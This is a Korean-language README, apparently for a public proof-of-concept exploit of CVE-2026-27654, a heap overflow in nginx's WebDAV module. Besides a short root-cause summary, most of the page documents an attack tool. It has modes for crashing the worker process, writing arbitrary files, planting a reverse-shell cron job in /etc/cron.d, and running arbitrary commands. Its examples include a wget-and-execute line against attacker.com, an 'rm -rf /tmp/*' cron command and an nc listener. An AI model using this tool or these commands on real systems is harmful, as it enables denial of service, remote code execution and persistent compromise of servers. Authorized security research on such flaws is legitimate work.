업데이트로 돌아가기
UpdatedJul 31, 2026

CVE-2026-27654-PoC — Updated!

CVE-2026-27654에 대한 개념 증명(Proof-of-Concept) 및 기술 분석 자료로, NGINX HTTP WebDAV 모듈의 힙 기반 버퍼 오버플로 취약점에 대해 근본 원인 분석, 재현 및 완화 방법을 다룹니다.

공유

CVE-2026-27654 – nginx ngx_http_dav_module DAV Alias 경로 처리 PoC

이 저장소는 nginx의 ngx_http_dav_module에 존재하는 힙 오버플로(heap-overflow) 취약점인 CVE‑2026‑27654에 대한 개념 증명(PoC) 익스플로잇을 제공합니다. 이 버그는 특수하게 조작된 Destination 헤더와 alias 기반 location을 사용하는 MOVE/COPY 요청을 처리할 때 발생하는 size_t 언더플로(underflow)에서 비롯됩니다.

⚠️ 면책 조항: 이 도구는 공인된 보안 연구 및 테스트 전용입니다. 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에만 사용하십시오. 작성자는 오용에 대한 책임을 지지 않습니다.

CVE-2026-27654 로고

🔥 취약점 개요

CVE-2026-27654ngx_http_dav_copy_move_handler()(src/http/modules/ngx_http_dav_module.c)의 정수 언더플로로 인해 발생하는, NGINX HTTP WebDAV 모듈에서 원격으로 트리거 가능한 힙 기반 버퍼 오버플로입니다. 이 취약점은 대상(Destination) URI 길이가 구성된 location 접두사를 Destination 헤더 경로에서 빼서 계산될 때 발생합니다. 두 피연산자가 모두 size_t 유형이므로, 대상 경로가 더 짧으면 뺄셈 결과가 최대값에 가까운 부호 없는 값으로 래핑(wrap)됩니다.

래핑된 길이는 이후 memcpy()의 크기 인자로 사용되어, 메모리를 손상시키고 NGINX worker 프로세스를 즉시 크래시시키는 힙 경계를 벗어난 쓰기(out-of-bounds write)가 발생합니다. 원격의 인증되지 않은 공격자는 alias에 매핑된 WebDAV location을 대상으로 하는 단일하게 조작된 MOVE 또는 COPY 요청만으로 이 조건을 안정적으로 트리거할 수 있습니다. NGINX master 프로세스는 실패한 worker를 자동으로 다시 생성하지만, 반복적인 요청은 서비스를 지속적인 worker 크래시 루프 상태로 유지하여 지속적인 서비스 거부(DoS)를 발생시킬 수 있습니다.

ASan(AddressSanitizer)은 memcpy()에서 negative-size-param 오류로 이 취약점을 검증하며, ngx_http_dav_copy_move_handler()에서 ngx_http_core_module.c까지의 실행 경로를 추적합니다. 이 취약점은 --with-http_dav_module으로 컴파일되고 alias 지시문으로 구성된 NGINX 0.5.13–1.28.2(안정판) 및 **1.29.0–1.29.6(메인라인)**에 영향을 미칩니다. 이 문제는 메모리 연산 전에 계산된 대상 경로 길이를 적절히 검증함으로써 NGINX 1.28.31.29.7(커밋 ab4b5b8, PR #1210)에서 수정되었습니다.

✨ 기능

  • 대화형 모드 선택 – 런타임 시 네 가지 작동 모드(크래시, 파일 쓰기, cron 셸, cron 명령) 중 하나를 명확한 번호 매기기 메뉴로 선택할 수 있습니다.
  • 크래시 트리거 – size_t 언더플로를 유발하고 취약한 worker를 크래시시키는 정식 MOVE/COPY 요청을 전송합니다.
  • 파일 쓰기 모드 – 파일 시스템의 임의 위치에 임의의 콘텐츠를 업로드합니다(쓰기 가능한 alias가 있는 랩 환경 필요).
  • Cron 셸 전달LHOST/LPORT에 대한 대화형 프롬프트와 리스너 시작 알림을 제공하며 /etc/cron.d/에 리버스 셸 cron 작업을 배포합니다.
  • Cron 명령 전달 – cron을 통해 사용자 지정 명령을 실행합니다. 대화형 입력 또는 --cron-command 플래그를 지원합니다.
  • 취약점 점검(--check) – 크래시 테스트를 실행하고 명확한 [VULNERABLE] / [NOT VULNERABLE] 판정을 출력한 후 코드 0 또는 1로 종료하는 비대화형 모드입니다.
  • HTTP 프록시 지원(--proxy) – 디버깅 또는 트래픽 검사를 위해 모든 요청을 HTTP/HTTPS 프록시(예: Burp Suite, mitmproxy)를 통해 전송합니다.
  • 지능형 파일 처리 – 트리거 파일이 이미 존재하는지(HEAD/GET을 통해) 확인하고, 존재하면 불필요한 업로드를 방지하기 위해 PUT을 건너뜁니다.
  • 유연한 페이로드 옵션--payload-file(바이너리), --payload-text(리터럴 텍스트)로 페이로드를 제공하거나 기본 테스트 콘텐츠를 사용할 수 있습니다.
  • 포괄적인 커맨드라인 인자--destination-path, --alias-len, --escape-depth, --method, --location-prefix 등 익스플로잇의 모든 측면을 미세 조정할 수 있습니다.
  • 견고한 폴백requests 라이브러리가 설치되지 않은 경우 스크립트는 Python 표준 http.client로 폴백합니다(폴백 모드에서는 프록시 지원이 비활성화됨).

📦 설치

git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt

🚀 사용법

대화형 모드(메뉴)

python exploit.py --target 192.168.1.100:8080

번호가 매겨진 메뉴가 표시되며 모드를 선택하라는 메시지가 나타납니다.

취약점 점검(비대화형)

python exploit.py --target 192.168.1.100:8080 --check

이 옵션은 크래시 모드를 강제하고, 익스플로잇을 실행한 후 코드 0 또는 1로 종료하기 전에 [VULNERABLE] 또는 [NOT VULNERABLE]을 출력합니다.

HTTP 프록시 사용

python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080

모든 HTTP 요청은 지정된 프록시를 통해 전송됩니다(Burp로 디버깅할 때 유용).

⚙️ 플래그 참조

플래그설명예시
--target HOST:PORT대상 nginx 인스턴스(기본값: 127.0.0.1:8080).--target 10.0.0.5:80
--verbose, -v전체 HTTP 응답(헤더 및 본문)을 표시합니다.-v
--no-put초기 PUT을 건너뜁니다(트리거 파일이 이미 존재한다고 가정). 반복 테스트에 유용합니다.--no-put
--location-prefixDAV location 접두사(기본값: /uploads/). nginx 구성의 alias location과 일치해야 합니다.--location-prefix /dav/
--remote-nameDAV location 안에 배치되는 원격 소스 파일 이름(기본값: triggerfile.txt).--remote-name test.txt
--method {MOVE,COPY}대상 요청에 사용할 DAV 메서드(기본값: MOVE).--method COPY
--destination-path대상 URI 경로 – 크래시 연산 또는 전달 모드의 최종 파일 경로로 사용됩니다.--destination-path /etc/cron.d/backdoor
--alias-len구성된 alias 문자열 길이(크래시 연산 표시용, 기본값 13).--alias-len 20
--escape-depthDAV 루트를 벗어나기 위한 ../ 경로 구성 요소 수(기본값 1).--escape-depth 3
--payload-file페이로드로 업로드할 로컬 파일. 기본 테스트 콘텐츠를 덮어씁니다.--payload-file ./shell.php
--payload-textwrite-file 모드용 리터럴 텍스트 페이로드.--payload-text "<?php phpinfo(); ?>"
--lhost리버스 셸 콜백 호스트(cron-shell용). 생략하면 스크립트가 대화형으로 프롬프트합니다.--lhost 192.168.1.50
--lport리버스 셸 콜백 포트(cron-shell용).--lport 4444
--cron-commandcron을 통해 실행할 명령(cron-cmd용). 생략하면 스크립트가 대화형으로 프롬프트합니다.--cron-command "rm -rf /tmp/*"
--waitcron 전달 후 작업이 실행될 때까지 대기할 시간(초, 기본값 65).--wait 120
--check취약점 점검을 실행합니다(크래시 테스트, 비대화형). VULNERABLE/NOT VULNERABLE을 출력하고 코드 0/1로 종료합니다.--check
--proxy PROXY_URLHTTP/HTTPS 프록시 URL(예: http://127.0.0.1:8080). requests 라이브러리가 필요합니다.--proxy http://127.0.0.1:8080

참고: 대부분의 플래그는 선택 사항입니다. 필수 인자(예: cron-shell--lhost/--lport)가 제공되지 않으면 스크립트가 대화형으로 프롬프트합니다.

🧪 모드 상세

1. crash

size_t 언더플로를 유발하는 조작된 MOVE(또는 COPY) 요청을 전송합니다. 서버는 worker 프로세스를 크래시시킵니다. master 프로세스가 올바르게 구성되어 있으면 새 worker를 다시 생성합니다.

예시:

python exploit.py --target 10.0.0.5:80
# 모드 1(crash) 선택

2. write-file

파일 시스템의 임의 위치에 파일을 업로드합니다. 이 기능은 DAV location이 쓰기 가능한 디렉터리를 가리키는 alias로 백업되고 Destination 경로가 DAV 루트를 벗어나도록 조작된 경우에만 작동합니다. 공인된 랩 환경에서만 사용하십시오.

예시:

python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# 모드 2(write-file) 선택

3. cron-shell

리버스 셸 cron 작업을 /etc/cron.d/에 배치합니다.
이 모드를 선택하면 스크립트가 다음을 프롬프트합니다:

  • LHOST – 리스닝 IP
  • LPORT – 리스닝 포트

그런 다음 netcat 리스너 명령을 표시하고 리스너가 실행 중이면 Enter를 누를 때까지 기다립니다.

예시(사전 입력):

python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# 모드 3(cron-shell) 선택

4. cron-cmd

사용자 지정 명령(대화형 또는 --cron-command로 제공)을 /etc/cron.d/에 배치합니다. 임의의 시스템 명령을 실행하는 데 유용합니다.

예시(대화형):

python exploit.py --target 10.0.0.5:80
# 모드 4 선택 후 프롬프트에 명령 입력

예시(사전 입력):

python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# 모드 4(cron-cmd) 선택

📝 예제 워크플로(리버스 셸)

$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 3

Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444

[*] Please start your netcat listener in a new terminal:
    nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.

📝 예제 워크플로(명령 실행)

이 예제는 리스너 없이 대상 시스템에서 명령을 실행하기 위해 cron-cmd를 사용하는 방법을 보여줍니다.

대화형 모드

$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 4

Enter the command to run in cron (--cron-command): id > /tmp/owned

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.

사전 입력(비대화형)

python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# 모드 4(cron-cmd) 선택

스크립트는 제공된 --cron-command를 자동으로 사용하고 대화형 프롬프트를 건너뛰므로 자동화에 적합합니다.

🛠️ 취약한 테스트 환경 구축

통제된 환경에서 이 PoC를 테스트하려면 --with-http_dav_module로 nginx를 소스에서 빌드하고 aliasdav_methods가 있는 location을 구성할 수 있습니다. 샘플 Docker 구성이 포함되어 있습니다(곧 제공 예정).

참조

📜 라이선스

이 프로젝트는 GNU v3.0 라이선스에 따라 사용이 허가됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.

🤝 기여

이슈 및 풀 리퀘스트를 환영합니다. 기여는 동일한 윤리적 사용 지침을 준수해야 합니다.

기억하세요: 보안 도구를 테스트하기 전에 항상 적절한 승인을 받으십시오. 윤리적으로 행동하세요!

카테고리